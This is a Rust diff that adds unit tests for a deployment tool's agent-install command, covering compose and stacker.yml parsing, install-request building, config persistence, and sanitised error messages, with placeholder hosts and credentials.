+                            "Local stacker.yml unchanged. Re-run with --persist-config to set monitoring.status_panel=true locally."
+                        );
+                    }
                 }
             }
             Err(e) => {
@@ -1309,6 +3027,416 @@ impl CallableTrait for AgentInstallCommand {
 #[cfg(test)]
 mod tests {
     use super::*;
+    use tempfile::TempDir;
+
+    fn label_value<'a>(labels: &'a serde_yaml::Mapping, key: &str) -> Option<&'a str> {
+        labels
+            .get(serde_yaml::Value::String(key.to_string()))
+            .and_then(serde_yaml::Value::as_str)
+    }
+
+    fn sample_server_info() -> crate::cli::stacker_client::ServerInfo {
+        crate::cli::stacker_client::ServerInfo {
+            id: 7,
+            user_id: "user_1".to_string(),
+            project_id: 42,
+            cloud_id: None,
+            cloud: None,
+            region: Some("nbg1".to_string()),
+            zone: None,
+            server: Some("cpx11".to_string()),
+            os: Some("ubuntu-24.04".to_string()),
+            disk_type: None,
+            srv_ip: Some("203.0.113.10".to_string()),
+            ssh_port: Some(2222),
+            ssh_user: Some("deployer".to_string()),
+            name: Some("syncopia-prod".to_string()),
+            vault_key_path: Some("secret/users/user_1/servers/7/ssh".to_string()),
+            connection_mode: "ssh".to_string(),
+            key_status: "uploaded".to_string(),
+        }
+    }
+
+    fn stack_var_value<'a>(deploy_form: &'a serde_json::Value, key: &str) -> Option<&'a str> {
+        deploy_form["stack"]["vars"]
+            .as_array()?
+            .iter()
+            .find(|value| value.get("key").and_then(|item| item.as_str()) == Some(key))
+            .and_then(|value| value.get("value"))
+            .and_then(|value| value.as_str())
+    }
+
+    fn top_level_str<'a>(deploy_form: &'a serde_json::Value, key: &str) -> Option<&'a str> {
+        deploy_form.get(key).and_then(|value| value.as_str())
+    }
+
+    #[test]
+    fn compose_service_has_env_file_detects_service_topology() {
+        let dir = TempDir::new().expect("temp dir");
+        let compose_path = dir.path().join("compose.yml");
+        std::fs::write(
+            &compose_path,
+            r#"
+services:
+  device-api:
+    image: optimum/syncopia-device-api:latest
+    env_file:
+      - ../../device-api/docker/prod/.env
+  upload:
+    image: syncopia/upload:latest
+"#,
+        )
+        .expect("compose");
+
+        assert!(compose_service_has_env_file(&compose_path, "device-api").unwrap());
+        assert!(!compose_service_has_env_file(&compose_path, "upload").unwrap());
+    }
+
+    #[test]
+    fn local_config_files_warns_when_conventional_env_is_not_in_compose_topology() {
+        let dir = TempDir::new().expect("temp dir");
+        let root = dir.path();
+        std::fs::create_dir_all(root.join("docker/prod")).expect("docker prod");
+        std::fs::create_dir_all(root.join("device-api/docker/prod")).expect("service env dir");
+        std::fs::write(
+            root.join("docker/prod/.env"),
+            "DEVICE_API_IMAGE=syncopia/device-api\n",
+        )
+        .expect("project env");
+        std::fs::write(root.join("device-api/docker/prod/.env"), "RUST_LOG=debug\n")
+            .expect("service env");
+        std::fs::write(
+            root.join("docker/prod/compose.yml"),
+            r#"
+services:
+  device-api:
+    image: ${DEVICE_API_IMAGE}
+"#,
+        )
+        .expect("compose");
+        std::fs::write(
+            root.join("stacker.yml"),
+            r#"
+name: syncopia
+project:
+  identity: syncopia
+app:
+  image: syncopia/device-api:latest
+deploy:
+  target: server
+  environment: prod
+  server:
+    host: 203.0.113.10
+environments:
+  prod:
+    compose_file: docker/prod/compose.yml
+    env_file: docker/prod/.env
+"#,
+        )
+        .expect("stacker config");
+
+        let config = local_config_files_for_agent_deploy(root, "device-api", None).unwrap();
+
+        assert!(config.config_files.is_some());
+        assert!(config.compose_content.is_some());
+        assert_eq!(config.notices.len(), 1);
+        assert!(config.notices[0].contains("has no env_file entry"));
+    }
+
+    #[test]
+    fn local_config_files_uses_environment_override() {
+        let dir = TempDir::new().expect("temp dir");
+        let root = dir.path();
+        std::fs::create_dir_all(root.join("docker/local")).expect("docker local");
+        std::fs::create_dir_all(root.join("docker/prod")).expect("docker prod");
+        std::fs::write(
+            root.join("docker/local/compose.yml"),
+            "services:\n  device-api:\n    image: syncopia/device-api:local\n",
+        )
+        .expect("local compose");
+        std::fs::write(
+            root.join("docker/prod/compose.yml"),
+            "services:\n  device-api:\n    image: syncopia/device-api:prod\n",
+        )
+        .expect("prod compose");
+        std::fs::write(
+            root.join("stacker.yml"),
+            r#"
+name: syncopia
+project:
+  identity: syncopia
+app:
+  image: syncopia/device-api:latest
+deploy:
+  target: local
+  environment: local
+environments:
+  local:
+    compose_file: docker/local/compose.yml
+  prod:
+    compose_file: docker/prod/compose.yml
+"#,
+        )
+        .expect("stacker config");
+
+        let config = local_config_files_for_agent_deploy(root, "device-api", Some("prod")).unwrap();
+
+        let compose = config.compose_content.expect("compose content");
+        assert!(compose.contains("syncopia/device-api:prod"));
+        assert!(!compose.contains("syncopia/device-api:local"));
+    }
+
+    #[test]
+    fn local_config_files_keeps_shared_project_env_file_for_root_env_topology() {
+        let dir = TempDir::new().expect("temp dir");
+        let root = dir.path();
+        std::fs::create_dir_all(root.join("docker/prod")).expect("project compose dir");
+        std::fs::write(
+            root.join("docker/prod/compose.yml"),
+            "services:\n  upload:\n    image: syncopia/upload:prod\n    env_file: .env\n",
+        )
+        .expect("project compose");
+        std::fs::write(
+            root.join("docker/prod/.env"),
+            "DEVICE_API_IMAGE=syncopia/device-api:prod\nUPLOAD_IMAGE=syncopia/upload:prod\n",
+        )
+        .expect("project env");
+        std::fs::write(
+            root.join("stacker.yml"),
+            r#"
+name: syncopia
+project:
+  identity: syncopia
+app:
+  image: syncopia/upload:latest
+deploy:
+  target: server
+  environment: prod
+environments:
+  prod:
+    compose_file: docker/prod/compose.yml
+    env_file: docker/prod/.env
+"#,
+        )
+        .expect("stacker config");
+
+        let config = local_config_files_for_agent_deploy(root, "upload", None).unwrap();
+
+        let config_files = config.config_files.expect("config files");
+        assert!(config_files.iter().any(|file| {
+            file.get("destination_path")
+                .and_then(|path| path.as_str())
+                .map(|path| path == ".env")
+                .unwrap_or(false)
+        }));
+        assert!(config_files.iter().any(|file| {
+            file.get("destination_path")
+                .and_then(|path| path.as_str())
+                .map(|path| path == ".env")
+                .unwrap_or(false)
+                && file
+                    .get("content")
+                    .and_then(|content| content.as_str())
+                    .map(|content| content.contains("UPLOAD_IMAGE=syncopia/upload:prod"))
+                    .unwrap_or(false)
+        }));
+    }
+
+    #[test]
+    fn local_config_files_materializes_stacker_yml_service_into_project_compose() {
+        let dir = TempDir::new().expect("temp dir");
+        let root = dir.path();
+        std::fs::create_dir_all(root.join("docker/prod")).expect("project compose dir");
+        std::fs::write(
+            root.join("docker/prod/compose.yml"),
+            r#"
+services:
+  status-panel-web:
+    image: trydirect/status-panel-web:latest
+"#,
+        )
+        .expect("project compose");
+        std::fs::write(
+            root.join("stacker.yml"),
+            r#"
+name: status-panel
+project:
+  identity: status-panel
+app:
+  image: trydirect/status-panel-web:latest
+deploy:
+  target: server
+  environment: prod
+environments:
+  prod:
+    compose_file: docker/prod/compose.yml
+services:
+  - name: smtp
+    image: trydirect/smtp
+    ports:
+      - "1025:25"
+    environment:
+      PORT: "25"
+      RELAY_NETWORKS: ":127.0.0.0/8:10.0.0.0/8:172.16.0.0/12:192.168.0.0/16"
+    volumes:
+      - smtp_data:/data
+"#,
+        )
+        .expect("stacker config");
+
+        let config = local_config_files_for_agent_deploy(root, "smtp", None).unwrap();
+
+        let compose = config.compose_content.expect("compose content");
+        assert!(compose.contains("status-panel-web:"));
+        assert!(compose.contains("smtp:"));
+        assert!(compose.contains("image: trydirect/smtp"));
+        assert!(compose.contains("1025:25"));
+        assert!(compose.contains("RELAY_NETWORKS"));
+        assert!(compose.contains("smtp_data:"));
+        assert!(compose.contains("my.stacker.scope: project"));
+        assert!(compose.contains("my.stacker.service: smtp"));
+        assert!(compose.contains("my.stacker.dns: smtp"));
+        assert!(!compose.contains("app-network"));
+    }
+
+    #[test]
+    fn annotate_project_compose_adds_stable_stacker_labels() {
+        let compose = r#"
+services:
+  smtp:
+    image: trydirect/smtp
+    labels:
+      - existing=value
+"#;
+
+        let annotated =
+            annotate_project_compose_with_stacker_labels(compose, Some("cloud"), Some("123"))
+                .unwrap();
+        let doc: serde_yaml::Value = serde_yaml::from_str(&annotated).unwrap();
+        let labels = doc
+            .get("services")
+            .and_then(|services| services.get("smtp"))
+            .and_then(|service| service.get("labels"))
+            .and_then(serde_yaml::Value::as_mapping)
+            .unwrap();
+
+        assert_eq!(label_value(labels, "existing"), Some("value"));
+        assert_eq!(label_value(labels, "my.stacker.project_id"), Some("123"));
+        assert_eq!(label_value(labels, "my.stacker.target"), Some("cloud"));
+        assert_eq!(label_value(labels, "my.stacker.scope"), Some("project"));
+        assert_eq!(label_value(labels, "my.stacker.service"), Some("smtp"));
+        assert_eq!(label_value(labels, "my.stacker.dns"), Some("smtp"));
+    }
+
+    #[test]
+    fn local_config_files_merges_app_local_service_into_project_compose() {
+        let dir = TempDir::new().expect("temp dir");
+        let root = dir.path();
+        std::fs::create_dir_all(root.join("docker/prod")).expect("project compose dir");
+        std::fs::create_dir_all(root.join("device-api/docker/prod")).expect("app compose dir");
+        std::fs::write(
+            root.join("docker/prod/compose.yml"),
+            "services:\n  database:\n    image: postgres:17-alpine\n",
+        )
+        .expect("project compose");
+        std::fs::write(root.join("device-api/docker/prod/.env"), "RUST_LOG=debug\n")
+            .expect("app env");
+        std::fs::write(
+            root.join("device-api/docker/prod/compose.yml"),
+            "services:\n  device-api:\n    image: syncopia/device-api:prod\n    env_file: .env\n",
+        )
+        .expect("app compose");
+        std::fs::write(
+            root.join("stacker.yml"),
+            r#"
+name: syncopia
+project:
+  identity: syncopia
+app:
+  image: syncopia/device-api:latest
+deploy:
+  target: server
+  environment: prod
+environments:
+  prod:
+    compose_file: docker/prod/compose.yml
+"#,
+        )
+        .expect("stacker config");
+
+        let config = local_config_files_for_agent_deploy(root, "device-api", None).unwrap();
+
+        let compose = config.compose_content.expect("compose content");
+        assert!(compose.contains("syncopia/device-api:prod"));
+        assert!(compose.contains("postgres:17-alpine"));
+        assert!(!compose.contains("syncopia/device-api:latest"));
+        assert!(compose.contains("device-api/docker/prod/.env"));
+        assert!(config.notices.is_empty());
+        let config_files = config.config_files.expect("config files");
+        assert!(config_files.iter().any(|file| {
+            file.get("destination_path")
+                .and_then(|path| path.as_str())
+                .map(|path| path == "device-api/docker/prod/.env")
+                .unwrap_or(false)
+        }));
+    }
+
+    #[test]
+    fn local_config_files_app_local_deploy_does_not_require_unrelated_project_env_file() {
+        let dir = TempDir::new().expect("temp dir");
+        let root = dir.path();
+        std::fs::create_dir_all(root.join("docker/prod")).expect("project compose dir");
+        std::fs::create_dir_all(root.join("device-api/docker/prod")).expect("app compose dir");
+        std::fs::write(
+            root.join("docker/prod/compose.yml"),
+            "services:\n  upload:\n    image: syncopia/upload:prod\n    env_file:\n      - upload.env\n",
+        )
+        .expect("project compose");
+        std::fs::write(root.join("device-api/docker/prod/.env"), "RUST_LOG=debug\n")
+            .expect("app env");
+        std::fs::write(
+            root.join("device-api/docker/prod/compose.yml"),
+            "services:\n  device-api:\n    image: syncopia/device-api:prod\n    env_file: .env\n",
+        )
+        .expect("app compose");
+        std::fs::write(
+            root.join("stacker.yml"),
+            r#"
+name: syncopia
+project:
+  identity: syncopia
+app:
+  image: syncopia/device-api:latest
+deploy:
+  target: server
+  environment: prod
+environments:
+  prod:
+    compose_file: docker/prod/compose.yml
+"#,
+        )
+        .expect("stacker config");
+
+        let config = local_config_files_for_agent_deploy(root, "device-api", None).unwrap();
+        let compose = config.compose_content.expect("compose content");
+
+        assert!(compose.contains("syncopia/device-api:prod"));
+        assert!(compose.contains("syncopia/upload:prod"));
+        assert!(compose.contains("upload.env"));
+        let config_files = config.config_files.expect("config files");
+        assert!(config_files.iter().any(|file| {
+            file.get("destination_path")
+                .and_then(|path| path.as_str())
+                .map(|path| path == "device-api/docker/prod/.env")
+                .unwrap_or(false)
+        }));
+        assert!(!config_files.iter().any(|file| {
+            file.get("destination_path")
+                .and_then(|path| path.as_str())
+                .map(|path| path.ends_with("/docker/prod/upload.env"))
+                .unwrap_or(false)
+        }));
+    }
 
     #[test]
     fn enqueue_request_builder() {
@@ -1346,4 +3474,636 @@ mod tests {
         // Should not panic
         print_snapshot_summary(&snap, None);
     }
+
+    #[test]
+    fn agent_display_version_suppresses_placeholder_version() {
+        let agent = serde_json::json!({
+            "version": "1.0.0",
+            "status": "online"
+        });
+
+        assert_eq!(agent_display_version(&agent, None), None);
+    }
+
+    #[test]
+    fn agent_display_version_prefers_system_info_version() {
+        let agent = serde_json::json!({
+            "version": "1.0.0",
+            "system_info": {
+                "agent_version": "0.2.8"
+            }
+        });
+
+        assert_eq!(
+            agent_display_version(&agent, None),
+            Some("0.2.8".to_string())
+        );
+    }
+
+    #[test]
+    fn agent_display_version_can_use_status_agent_container_tag() {
+        let agent = serde_json::json!({
+            "version": "1.0.0"
+        });
+        let containers = vec![serde_json::json!({
+            "name": "statuspanel-agent",
+            "image": "ghcr.io/trydirect/statuspanel-agent:0.3.1"
+        })];
+
+        assert_eq!(
+            agent_display_version(&agent, Some(&containers)),
+            Some("0.3.1".to_string())
+        );
+    }
+
+    #[test]
+    fn visible_containers_hides_stale_platform_project_container() {
+        let containers = vec![
+            serde_json::json!({
+                "name": "nginx-proxy-manager",
+                "state": "running",
+                "image": "jc21/nginx-proxy-manager:latest"
+            }),
+            serde_json::json!({
+                "name": "project-nginx_proxy_manager-1",
+                "state": "exited",
+                "image": "jc21/nginx-proxy-manager:latest"
+            }),
+            serde_json::json!({
+                "name": "project-coolify-1",
+                "state": "running",
+                "image": "coollabsio/coolify:latest"
+            }),
+        ];
+
+        let visible = visible_containers(&containers);
+        let names = visible
+            .iter()
+            .map(|container| container["name"].as_str().unwrap())
+            .collect::<Vec<_>>();
+
+        assert_eq!(names, vec!["nginx-proxy-manager", "project-coolify-1"]);
+    }
+
+    #[test]
+    fn agent_install_request_uses_server_deploy_path_without_cloud_credentials() {
+        let config = crate::cli::config_parser::ConfigBuilder::new()
+            .name("syncopia")
+            .deploy_target(crate::cli::config_parser::DeployTarget::Server)
+            .build()
+            .expect("config");
+        let server = sample_server_info();
+
+        let (cloud_id, deploy_form) = build_agent_install_deploy_request(
+            &config,
+            &server,
+            "syncopia",
+            "https://vault.try.direct",
+        )
+        .expect("server install request");
+
+        assert_eq!(cloud_id, None);
+        assert_eq!(deploy_form["cloud"]["provider"], "own");
+        assert_eq!(deploy_form["server"]["server_id"], 7);
+        assert_eq!(deploy_form["server"]["srv_ip"], "203.0.113.10");
+        assert_eq!(deploy_form["server"]["ssh_user"], "deployer");
+        assert_eq!(deploy_form["server"]["ssh_port"], 2222);
+        assert_eq!(deploy_form["server"]["connection_mode"], "status_panel");
+        assert_eq!(
+            deploy_form["server"]["vault_key_path"],
+            "secret/users/user_1/servers/7/ssh"
+        );
+        assert!(deploy_form["stack"]["integrated_features"]
+            .as_array()
+            .expect("integrated_features array")
+            .contains(&serde_json::Value::String("statuspanel".to_string())));
+        assert_eq!(
+            stack_var_value(&deploy_form, AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_KEY),
+            Some(AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_VALUE)
+        );
+        assert_eq!(
+            top_level_str(&deploy_form, AGENT_INSTALL_MODE_KEY),
+            Some(AGENT_INSTALL_MODE_VALUE)
+        );
+    }
+
+    #[test]
+    fn agent_install_request_keeps_cloud_deploy_path_when_cloud_server_is_linked() {
+        let config = crate::cli::config_parser::ConfigBuilder::new()
+            .name("syncopia")
+            .deploy_target(crate::cli::config_parser::DeployTarget::Cloud)
+            .build()
+            .expect("config");
+        let mut server = sample_server_info();
+        server.cloud_id = Some(9);
+        server.cloud = Some("htz".to_string());
+
+        let (cloud_id, deploy_form) = build_agent_install_deploy_request(
+            &config,
+            &server,
+            "syncopia",
+            "https://vault.try.direct",
+        )
+        .expect("cloud install request");
+
+        assert_eq!(cloud_id, Some(9));
+        assert_eq!(deploy_form["cloud"]["provider"], "htz");
+        assert_eq!(deploy_form["server"]["server_id"], 7);
+        assert_eq!(deploy_form["server"]["connection_mode"], "status_panel");
+        assert_eq!(
+            stack_var_value(&deploy_form, AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_KEY),
+            Some(AGENT_INSTALL_STATUS_PANEL_ONLY_VAR_VALUE)
+        );
+        assert_eq!(
+            top_level_str(&deploy_form, AGENT_INSTALL_MODE_KEY),
+            Some(AGENT_INSTALL_MODE_VALUE)
+        );
+    }
+
+    #[test]
+    fn persist_agent_install_config_enables_status_panel_monitoring() {
+        let dir = TempDir::new().expect("temp dir");
+        let config_path = dir.path().join("stacker.yml");
+        std::fs::write(
+            &config_path,
+            "name: demo\napp:\n  image: ${APP_IMAGE}\nmonitoring:\n  status_panel: false\n",
+        )
+        .expect("stacker config");
+
+        let result = persist_agent_install_config(&config_path).expect("persist config");
+
+        assert!(result.changed);
+        assert!(result.backup_path.exists());
+
+        let written = std::fs::read_to_string(&config_path).expect("written config");
+        assert!(written.contains("${APP_IMAGE}"));
+
+        let config =
+            crate::cli::config_parser::StackerConfig::from_file_raw(&config_path).expect("config");
+        assert!(config.monitoring.status_panel);
+    }
+
+    #[test]
+    fn persist_agent_install_config_if_requested_skips_local_write_by_default() {
+        let dir = TempDir::new().expect("temp dir");
+        let config_path = dir.path().join("stacker.yml");
+        let original =
+            "name: demo\napp:\n  image: ${APP_IMAGE}\nmonitoring:\n  status_panel: false\n";
+        std::fs::write(&config_path, original).expect("stacker config");
+
+        let result =
+            persist_agent_install_config_if_requested(&config_path, false).expect("skip persist");
+
+        assert!(result.is_none());
+        assert_eq!(
+            std::fs::read_to_string(&config_path).expect("config should remain unchanged"),
+            original
+        );
+        assert!(!dir.path().join("stacker.yml.bak").exists());
+    }
+
+    #[test]
+    fn persist_agent_install_config_is_noop_when_status_panel_monitoring_enabled() {
+        let dir = TempDir::new().expect("temp dir");
+        let config_path = dir.path().join("stacker.yml");
+        std::fs::write(
+            &config_path,
+            "name: demo\nmonitoring:\n  status_panel: true\n",
+        )
+        .expect("stacker config");
+
+        let result = persist_agent_install_config(&config_path).expect("persist config");
+
+        assert!(!result.changed);
+        assert!(!result.backup_path.exists());
+        let config =
+            crate::cli::config_parser::StackerConfig::from_file_raw(&config_path).expect("config");
+        assert!(config.monitoring.status_panel);
+    }
+
+    #[test]
+    fn given_stacker_agent_install_when_config_is_persisted_then_stacker_yml_reflects_status_panel()
+    {
+        let dir = TempDir::new().expect("temp dir");
+        let config_path = dir.path().join("stacker.yml");
+        std::fs::write(
+            &config_path,
+            r#"
+name: web
+proxy:
+  type: nginx-proxy-manager
+  domains:
+    - domain: status.stacker.my
+      ssl: auto
+      upstream: status-panel-web:3000
+monitoring:
+  status_panel: false
+  healthcheck: null
+  metrics: null
+"#,
+        )
+        .expect("stacker config");
+
+        let result = persist_agent_install_config(&config_path).expect("persist config");
+
+        assert!(result.changed);
+        assert!(result.backup_path.exists());
+
+        let config =
+            crate::cli::config_parser::StackerConfig::from_file_raw(&config_path).expect("config");
+        assert!(config.monitoring.status_panel);
+        assert_eq!(
+            config
+                .proxy
+                .domains
+                .first()
+                .map(|domain| domain.domain.as_str()),
+            Some("status.stacker.my")
+        );
+    }
+
+    #[test]
+    fn agent_install_request_includes_bootstrap_ssh_key_from_config() {
+        let temp_dir = TempDir::new().expect("temp dir");
+        let private_key_path = temp_dir.path().join("id_ed25519");
+        let public_key_path = temp_dir.path().join("id_ed25519.pub");
+
+        std::fs::write(&private_key_path, "TEST PRIVATE KEY").expect("private key");
+        std::fs::write(&public_key_path, "ssh-ed25519 TEST PUBLIC KEY").expect("public key");
+
+        let config = crate::cli::config_parser::ConfigBuilder::new()
+            .name("syncopia")
+            .deploy_target(crate::cli::config_parser::DeployTarget::Server)
+            .server(crate::cli::config_parser::ServerConfig {
+                host: "203.0.113.10".to_string(),
+                user: "deploy".to_string(),
+                ssh_key: Some(private_key_path),
+                port: 2222,
+            })
+            .build()
+            .expect("config");
+        let server = sample_server_info();
+
+        let (_, deploy_form) = build_agent_install_deploy_request(
+            &config,
+            &server,
+            "syncopia",
+            "https://vault.try.direct",
+        )
+        .expect("server install request");
+
+        assert_eq!(deploy_form["server"]["ssh_private_key"], "TEST PRIVATE KEY");
+        assert_eq!(
+            deploy_form["server"]["public_key"],
+            "ssh-ed25519 TEST PUBLIC KEY"
+        );
+    }
+
+    #[test]
+    fn agent_command_error_message_prefers_error_field() {
+        let info = AgentCommandInfo {
+            command_id: "cmd_1".to_string(),
+            deployment_hash: "dep".to_string(),
+            command_type: "configure_proxy".to_string(),
+            status: "completed".to_string(),
+            priority: "normal".to_string(),
+            parameters: None,
+            result: Some(serde_json::json!({
+                "status": "error",
+                "message": "ignored"
+            })),
+            error: Some(serde_json::json!(
+                "Vault-backed proxy credential resolution is not configured on this agent"
+            )),
+            created_at: String::new(),
+            updated_at: String::new(),
+        };
+
+        assert_eq!(
+            agent_command_error_message(&info),
+            Some(
+                "Vault-backed proxy credential resolution is not configured on this agent"
+                    .to_string()
+            )
+        );
+    }
+
+    #[test]
+    fn agent_command_error_message_reads_error_result_payload() {
+        let info = AgentCommandInfo {
+            command_id: "cmd_2".to_string(),
+            deployment_hash: "dep".to_string(),
+            command_type: "configure_proxy".to_string(),
+            status: "completed".to_string(),
+            priority: "normal".to_string(),
+            parameters: None,
+            result: Some(serde_json::json!({
+                "status": "error",
+                "error_code": "vault_not_configured",
+                "message": "Vault-backed proxy credential resolution is not configured on this agent"
+            })),
+            error: None,
+            created_at: String::new(),
+            updated_at: String::new(),
+        };
+
+        assert_eq!(
+            agent_command_error_message(&info),
+            Some(
+                "Vault-backed proxy credential resolution is not configured on this agent (vault_not_configured)"
+                    .to_string()
+            )
+        );
+    }
+
+    // Shared lock so env-var tests don't race each other.
+    fn npm_creds_env_lock() -> std::sync::MutexGuard<'static, ()> {
+        use std::sync::{Mutex, OnceLock};
+        static LOCK: OnceLock<Mutex<()>> = OnceLock::new();
+        LOCK.get_or_init(|| Mutex::new(())).lock().unwrap()
+    }
+
+    fn npm_creds_invalid_info_via_result(vault_path: &str) -> AgentCommandInfo {
+        AgentCommandInfo {
+            command_id: "cmd_npm_creds".to_string(),
+            deployment_hash: "dep".to_string(),
+            command_type: "configure_proxy".to_string(),
+            status: "completed".to_string(),
+            priority: "normal".to_string(),
+            parameters: None,
+            result: Some(serde_json::json!({
+                "status": "error",
+                "code": "npm_credentials_invalid",
+                "message": format!("NPM credentials in Vault are invalid at {}", vault_path),
+                "details": vault_path,
+            })),
+            error: None,
+            created_at: String::new(),
+            updated_at: String::new(),
+        }
+    }
+
+    fn npm_creds_invalid_info_via_error(vault_path: &str) -> AgentCommandInfo {
+        AgentCommandInfo {
+            command_id: "cmd_npm_creds".to_string(),
+            deployment_hash: "dep".to_string(),
+            command_type: "configure_proxy".to_string(),
+            status: "failed".to_string(),
+            priority: "normal".to_string(),
+            parameters: None,
+            result: None,
+            error: Some(serde_json::json!({
+                "code": "npm_credentials_invalid",
+                "message": format!("NPM credentials in Vault are invalid at {}", vault_path),
+                "details": vault_path,
+            })),
+            created_at: String::new(),
+            updated_at: String::new(),
+        }
+    }
+
+    #[test]
+    fn agent_command_error_message_sanitizes_vault_path_via_result_field() {
+        let _guard = npm_creds_env_lock();
+        std::env::remove_var("STACKER_DEBUG");
+        std::env::remove_var("DEBUG");
+
+        let vault_path = "secret/base/status_panel/hosts/86/npm_credentials";
+        let message = agent_command_error_message(&npm_creds_invalid_info_via_result(vault_path))
+            .expect("error message");
+
+        assert!(
+            !message.contains(vault_path),
+            "Vault path must not appear in user-facing output: {message}"
+        );
+        assert!(
+            message.contains("stacker secrets set npm_credentials"),
+            "Message should include the remediation command: {message}"
+        );
+    }
+
+    #[test]
+    fn agent_command_error_message_sanitizes_vault_path_via_error_field() {
+        let _guard = npm_creds_env_lock();
+        std::env::remove_var("STACKER_DEBUG");
+        std::env::remove_var("DEBUG");
+
+        let vault_path = "secret/base/status_panel/hosts/86/npm_credentials";
+        let message = agent_command_error_message(&npm_creds_invalid_info_via_error(vault_path))
+            .expect("error message");
+
+        assert!(
+            !message.contains(vault_path),
+            "Vault path must not appear in user-facing output (error field path): {message}"
+        );
+        assert!(
+            message.contains("stacker secrets set npm_credentials"),
+            "Message should include the remediation command: {message}"
+        );
+    }
+
+    #[test]
+    fn agent_command_error_message_sanitizes_vault_path_when_error_is_preformatted_string() {
+        let _guard = npm_creds_env_lock();
+        std::env::remove_var("STACKER_DEBUG");
+        std::env::remove_var("DEBUG");
+
+        let vault_path = "secret/base/status_panel/hosts/86/npm_credentials";
+        // Simulate the server sending a pre-formatted string (no structured "code" field)
+        let info = AgentCommandInfo {
+            command_id: "cmd_npm_creds".to_string(),
+            deployment_hash: "dep".to_string(),
+            command_type: "configure_proxy".to_string(),
+            status: "failed".to_string(),
+            priority: "normal".to_string(),
+            parameters: None,
+            result: None,
+            error: Some(serde_json::Value::String(format!(
+                "NPM credentials in Vault are invalid at {vault_path} (npm_credentials_invalid): {vault_path}"
+            ))),
+            created_at: String::new(),
+            updated_at: String::new(),
+        };
+
+        let message = agent_command_error_message(&info).expect("error message");
+
+        assert!(
+            !message.contains(vault_path),
+            "Vault path must not appear when error is a pre-formatted string: {message}"
+        );
+        assert!(
+            message.contains("stacker secrets set npm_credentials"),
+            "Message should include the remediation command: {message}"
+        );
+    }
+
+    #[test]
+    fn agent_command_error_message_exposes_vault_path_in_debug_mode_for_npm_credentials_invalid() {
+        let _guard = npm_creds_env_lock();
+        std::env::set_var("STACKER_DEBUG", "1");
+
+        let vault_path = "secret/base/status_panel/hosts/86/npm_credentials";
+        // Test both paths in debug mode
+        let msg_via_result =
+            agent_command_error_message(&npm_creds_invalid_info_via_result(vault_path));
+        let msg_via_error =
+            agent_command_error_message(&npm_creds_invalid_info_via_error(vault_path));
+        std::env::remove_var("STACKER_DEBUG");
+
+        let msg_via_result = msg_via_result.expect("error message (result path)");
+        assert!(
+            msg_via_result.contains(vault_path),
+            "Vault path should appear in debug output (result path): {msg_via_result}"
+        );
+        assert!(
+            msg_via_result.contains("stacker secrets set npm_credentials"),
+            "Debug output should still include the remediation command: {msg_via_result}"
+        );
+
+        let msg_via_error = msg_via_error.expect("error message (error field path)");
+        assert!(
+            msg_via_error.contains(vault_path),
+            "Vault path should appear in debug output (error field path): {msg_via_error}"
+        );
+        assert!(
+            msg_via_error.contains("stacker secrets set npm_credentials"),
+            "Debug output should still include the remediation command: {msg_via_error}"
+        );
+    }
+
+    #[test]
+    fn agent_command_error_message_adds_proxy_route_diagnostics_for_npm_create_failed() {
+        let info = AgentCommandInfo {
+            command_id: "cmd_proxy".to_string(),
+            deployment_hash: "dep".to_string(),
+            command_type: "configure_proxy".to_string(),
+            status: "completed".to_string(),
+            priority: "normal".to_string(),
+            parameters: None,
+            result: Some(serde_json::json!({
+                "status": "error",
+                "error_code": "npm_create_failed",
+                "message": "Failed to create proxy host: 500 Internal Server Error - Internal Error",
+                "domain_names": ["status.stacker.my"],
+                "forward_port": 3000
+            })),
+            error: None,
+            created_at: String::new(),
+            updated_at: String::new(),
+        };
+
+        let message = agent_command_error_message(&info).expect("error message");
+
+        assert!(message.contains("npm_create_failed"));
+        assert!(message.contains("Route diagnostics"));
+        assert!(message.contains("status.stacker.my"));
+        assert!(message.contains(
+            "stacker cloud firewall add --server-id <server-id> --public-ports 80/tcp,443/tcp"
+        ));
+        assert!(message.contains("--ssl"));
+    }
+
+    #[test]
+    fn agent_command_error_message_reads_structured_error_array() {
+        let info = AgentCommandInfo {
+            command_id: "cmd_3".to_string(),
+            deployment_hash: "dep".to_string(),
+            command_type: "configure_proxy".to_string(),
+            status: "completed".to_string(),
+            priority: "normal".to_string(),
+            parameters: None,
+            result: Some(serde_json::json!({
+                "status": "error",
+                "message": "ignored"
+            })),
+            error: Some(serde_json::json!({
+                "errors": [{
+                    "code": "npm_error",
+                    "message": "NPM operation failed",
+                    "details": "Failed to connect to NPM"
+                }]
+            })),
+            created_at: String::new(),
+            updated_at: String::new(),
+        };
+
+        assert_eq!(
+            agent_command_error_message(&info),
+            Some("NPM operation failed (npm_error): Failed to connect to NPM".to_string())
+        );
+    }
+
+    #[test]
+    fn agent_command_error_message_ignores_successful_results() {
+        let info = AgentCommandInfo {
+            command_id: "cmd_3".to_string(),
+            deployment_hash: "dep".to_string(),
+            command_type: "health".to_string(),
+            status: "completed".to_string(),
+            priority: "normal".to_string(),
+            parameters: None,
+            result: Some(serde_json::json!({
+                "status": "ok",
+                "message": "healthy"
+            })),
+            error: None,
+            created_at: String::new(),
+            updated_at: String::new(),
+        };
+
+        assert_eq!(agent_command_error_message(&info), None);
+    }
+
+    #[test]
+    fn configure_proxy_no_ssl_overrides_default_ssl() {
+        let command = AgentConfigureProxyCommand::new(
+            "coolify".to_string(),
+            "coolify.example.com".to_string(),
+            8000,
+            true,
+            true,
+            "create".to_string(),
+            true,
+            false,
+            None,
+        );
+
+        assert!(!command.ssl);
+    }
+
+    #[test]
+    fn resolve_registry_auth_for_agent_deploy_reads_env_overrides() {
+        let temp_dir = TempDir::new().expect("temp dir");
+        std::fs::write(
+            temp_dir.path().join("stacker.yml"),
+            "name: syncopia\napp:\n  type: static\ndeploy:\n  target: server\n",
+        )
+        .expect("write stacker.yml");
+
+        let old_username = std::env::var("STACKER_DOCKER_USERNAME").ok();
+        let old_password = std::env::var("STACKER_DOCKER_PASSWORD").ok();
+        let old_registry = std::env::var("STACKER_DOCKER_REGISTRY").ok();
+
+        std::env::set_var("STACKER_DOCKER_USERNAME", "optimum");
+        std::env::set_var("STACKER_DOCKER_PASSWORD", "secret");
+        std::env::set_var("STACKER_DOCKER_REGISTRY", "docker.io");
+
+        let auth = resolve_registry_auth_for_agent_deploy(temp_dir.path()).expect("registry auth");
+        assert_eq!(auth.username, "optimum");
